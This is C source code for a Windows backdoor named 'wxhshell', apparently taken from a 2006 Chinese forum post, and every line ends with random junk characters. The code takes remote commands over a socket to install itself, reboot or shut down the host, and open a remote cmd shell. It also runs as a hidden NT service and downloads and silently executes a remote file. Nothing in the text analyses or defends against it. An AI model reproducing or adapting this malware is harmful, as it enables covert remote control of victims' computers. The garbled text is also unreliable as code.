    switch(cmd[0]) { 1[J&^@t[h6  
  -hL8z$}  
  // 帮助 )rz4IfE  
  case '?': { {LJwW*?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W$N_GR'4  
    break; DyG3|5s1R  
  } 8;p6~&).C~  
  // 安装 kX\t0'=]  
  case 'i': { J7emoD [  
    if(Install())  }Q`Kg8L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;f[Ki$7  
    else 6*kY7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 '~Jr\4  
    break; 6=90 wu3  
    } ]ss0~2  
  // 卸载 ;:cU/{W  
  case 'r': { f`p`c*  
    if(Uninstall()) FM0)/6I'x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "f~S3?^!2  
    else u q:>g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~({aj|Y  
    break; &B#HgWud  
    } `BMg\2Ud*  
  // 显示 wxhshell 所在路径 @8|-  C  
  case 'p': { 9Z6] ];8E  
    char svExeFile[MAX_PATH]; U{h5uezD  
    strcpy(svExeFile,"\n\r"); rcq(p (!  
      strcat(svExeFile,ExeFile); g$?B!!qT  
        send(wsh,svExeFile,strlen(svExeFile),0); s41<e"  
    break; wX#=l?,K  
    } 8~EDmg[  
  // 重启 +=|Q'V  
  case 'b': { n O$(\ z)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U[c,cdA  
    if(Boot(REBOOT)) x<P$$G/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )1lR;fD  
    else { c3P  
    closesocket(wsh); -#Yg B5  
    ExitThread(0); 2z:4\Y5  
    } Vg\EAs>f  
    break; M=x/PrY"R  
    } pJVzT,poh  
  // 关机 a>.2Q<1  
  case 'd': { w%VHq z$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4B<D.i ;}  
    if(Boot(SHUTDOWN)) K4N~ApLB+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 45edyQ  
    else { oA"t`,3  
    closesocket(wsh); st|$Fu  
    ExitThread(0); [}9R9G>"  
    } ' >`?T}a,  
    break; +T [0r  
    } 37a"<  
  // 获取shell I^[R]Js  
  case 's': { /o.wCy,J<  
    CmdShell(wsh); E[Tz%x=P  
    closesocket(wsh); HpSgGhL'J&  
    ExitThread(0); ]b.@i&M  
    break; IpoZ6DB$  
  } |Ag~k? QC  
  // 退出 7sC$hm]  
  case 'x': { &rorBD 5aj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7X2g"2\Wm  
    CloseIt(wsh); E3_e~yu&  
    break; 6*S|$lo9B  
    } ^uMy|d  
  // 离开 9 vmH$  
  case 'q': { uz&CUvos  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R6h(mPYA  
    closesocket(wsh); I/Hwf  
    WSACleanup(); O!hg@[\B+  
    exit(1); p` B48TW  
    break; 'vhgR2/  
        } Ua,Lg.z  
  } ]B:g<}5$4  
  } p;"pTGoW i  
E&#AX:  
  // 提示信息 vy,ER<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w-AF5%gX  
} m%+W{N4Wb  
  } 0 4x[@f`  
C^aP)& qt  
  return; Q SW03/_f  
} gPT-zul  
245(ajxHC  
// shell模块句柄 TCX*$ac"  
int CmdShell(SOCKET sock) &0It"17Ej  
{ @7" xDgA  
STARTUPINFO si; yj `b-^$?  
ZeroMemory(&si,sizeof(si)); "k)( ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mF%>pj&b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H(lq=M0~  
PROCESS_INFORMATION ProcessInfo; ..Zuy|?w  
char cmdline[]="cmd"; 5:hajXd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aM9^V MOb  
  return 0; \%KJ +PJ  
} KR^lmN  
1wW8D>f]K  
// 自身启动模式 x9a*^l  
int StartFromService(void) %Fa/82:- "  
{ t*.O >$[  
typedef struct .YYiUA-i9n  
{ PM=Q\0  
  DWORD ExitStatus; yXh=~:1~  
  DWORD PebBaseAddress; (i.MxG Dd  
  DWORD AffinityMask; ]N*q3y|)  
  DWORD BasePriority; ]\v'1m"  
  ULONG UniqueProcessId; TF} <,aR  
  ULONG InheritedFromUniqueProcessId; rG:IS=  
}   PROCESS_BASIC_INFORMATION; *%:p01&+  
z. VuY3  
PROCNTQSIP NtQueryInformationProcess; YKJk)%;+w  
<dV|N$WV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VSx[{yn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2L[/.|  
e=o<yf9>Q  
  HANDLE             hProcess; \wCj$- ;Jt  
  PROCESS_BASIC_INFORMATION pbi; MQ$[jOAqP  
e-ljwCD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K,&)\r kzD  
  if(NULL == hInst ) return 0; qmdl:J|?  
}9/30  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `l9Pk\X[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s_hf,QH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0F8y8s  
}W#Gf.$6C  
  if (!NtQueryInformationProcess) return 0; kUUN2  
E b-?wzh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~= lm91W  
  if(!hProcess) return 0; WB'&W=  
-m(9*b{h@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TbXp%O:[W  
azr|Fz/  
  CloseHandle(hProcess); >)R7*^m{'  
IiHl"2+/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); beRpA;  
if(hProcess==NULL) return 0; B[Fx2r`0  
<ap%+(!I  
HMODULE hMod; ^o,P>u!9  
char procName[255]; V k5}d[[l  
unsigned long cbNeeded; f$Nz).(  
Pp7}|/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I5mnV<QA^  
>2x[ub%$L  
  CloseHandle(hProcess); :XxsDD  
BKPXXR  
if(strstr(procName,"services")) return 1; // 以服务启动 a9j f7r1  
w=vK{h#8  
  return 0; // 注册表启动 fJBp,{0  
} %{!*)V\  
^GQ+,0Yy  
// 主模块 BD&JbH!(  
int StartWxhshell(LPSTR lpCmdLine) 3V?JX5X\  
{ ]{jdar^  
  SOCKET wsl; 1\z5[ _  
BOOL val=TRUE; 1.+0=M[h  
  int port=0; ` Xc~'zG  
  struct sockaddr_in door; 8L`J](y  
ts`c_hH,1'  
  if(wscfg.ws_autoins) Install(); {f((x1{HZx  
gtHWd;1&f  
port=atoi(lpCmdLine); v#q7hw=  
-Ob'/d5&  
if(port<=0) port=wscfg.ws_port; i^eU!^KF  
#f0J.)M  
  WSADATA data; $ jWe!]ASU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8)\Td tBf9  
*v 1hMk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u27K 0}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O68/Hf1W  
  door.sin_family = AF_INET; ,j>A[e&.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /oKa?iT  
  door.sin_port = htons(port); |k1(|)%G  
V|e9G,z~A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VI: !#  
closesocket(wsl); es 8%JTi  
return 1; &<2~7?$!  
} lQj3# !1}  
R*VRxQ,h6+  
  if(listen(wsl,2) == INVALID_SOCKET) { J,Du:|3o  
closesocket(wsl); vnwS &;-k~  
return 1; ,#W>E,UU  
} pyhC%EZU  
  Wxhshell(wsl); L'B= =#  
  WSACleanup(); `qnSq(tNq  
Clr~:2g\  
return 0; ?9'Ukw` g  
Xb6X'rY  
} }K1v=k  
ad+@2-Y  
// 以NT服务方式启动 P /|2s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J5e  
{ '=C)Hj[D  
DWORD   status = 0; {Z%4Pg  
  DWORD   specificError = 0xfffffff; }iZO0C  
2L Kpwz?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L}Nc kL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P>n}\"z4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y` t-Bg!~  
  serviceStatus.dwWin32ExitCode     = 0; j ;}!Yn  
  serviceStatus.dwServiceSpecificExitCode = 0; d+[GMIxg  
  serviceStatus.dwCheckPoint       = 0; MWTzJGRT  
  serviceStatus.dwWaitHint       = 0; `d]D=DtH  
BQ! v\1'C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P7np -I*  
  if (hServiceStatusHandle==0) return; x8 :  
@c,Qj$\1  
status = GetLastError(); fGS5{dti  
  if (status!=NO_ERROR) p?F%a;V3  
{ Xy/lsaVskX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]yI~S(  
    serviceStatus.dwCheckPoint       = 0; +)YU/41W  
    serviceStatus.dwWaitHint       = 0; tk=~b} 8  
    serviceStatus.dwWin32ExitCode     = status; Af y\:&j  
    serviceStatus.dwServiceSpecificExitCode = specificError; F|9:$Jpw!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J:WO %P=Q  
    return; h[H FZv~{  
  } ?=$=c8xw  
(jhDO7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .rpKSf.  
  serviceStatus.dwCheckPoint       = 0; is`O,Met  
  serviceStatus.dwWaitHint       = 0; N~Zcrt_D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ${fJ]  
} o&WKk5$  
s.ywp{EF  
// 处理NT服务事件,比如:启动、停止 [HO=ii]Wb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .YOC|\  
{ fP 4  
switch(fdwControl) J; @g#h?  
{ Y6<"_  
case SERVICE_CONTROL_STOP: 93I.Wp_{  
  serviceStatus.dwWin32ExitCode = 0; >Z%qkU/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EhJpJb[Z  
  serviceStatus.dwCheckPoint   = 0; -aj) _.d  
  serviceStatus.dwWaitHint     = 0; a(cZ]`s]*  
  { JSO'. [N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ujb7uho  
  } luLt~A3H$  
  return; Ew.a*[W''  
case SERVICE_CONTROL_PAUSE: DVC<P}/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8/4i7oOC  
  break; L{)*evBL  
case SERVICE_CONTROL_CONTINUE: ]rAaErB';  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N-C=O  
  break; lHl1Ny\?  
case SERVICE_CONTROL_INTERROGATE: J+IkTqw  
  break; -bJC+Yn  
}; D X|yL!4[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d^-sxl3}  
} 8<#S:O4kA  
oY;=$8y<q  
// 标准应用程序主函数 2$S^3$k'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fT$Fv  
{ FH Hi/yh  
(c3%rM m]  
// 获取操作系统版本 >U4hsr05  
OsIsNt=GetOsVer(); w&U>w@H^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4<c #3]  
#@qd.,]2  
  // 从命令行安装 ~m0l_:SF  
  if(strpbrk(lpCmdLine,"iI")) Install(); pXL@&]U+  
b Ag>;e(  
  // 下载执行文件 j=>:{`*c  
if(wscfg.ws_downexe) { /U1&#"P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .|d2s  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fqr}zR)  
}  v7Q=  
6xfG`7Az  
if(!OsIsNt) { "V7 SB   
// 如果时win9x,隐藏进程并且设置为注册表启动 6|{$]<'  
HideProc(); {Kdr-aC  
StartWxhshell(lpCmdLine); vBRW5@  
} s"jNS1B  
else T][r'jWQ  
  if(StartFromService()) |~V`Es +j  
  // 以服务方式启动 '5V#sq;Z  
  StartServiceCtrlDispatcher(DispatchTable); m`3Mev  
else g#Doed.30=  
  // 普通方式启动 Z#Q)a;RA  
  StartWxhshell(lpCmdLine); xW hi>  
:f9O3QA  
return 0; c+_F}2)  
}
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只看该作者 1 发表于: 2006-10-10
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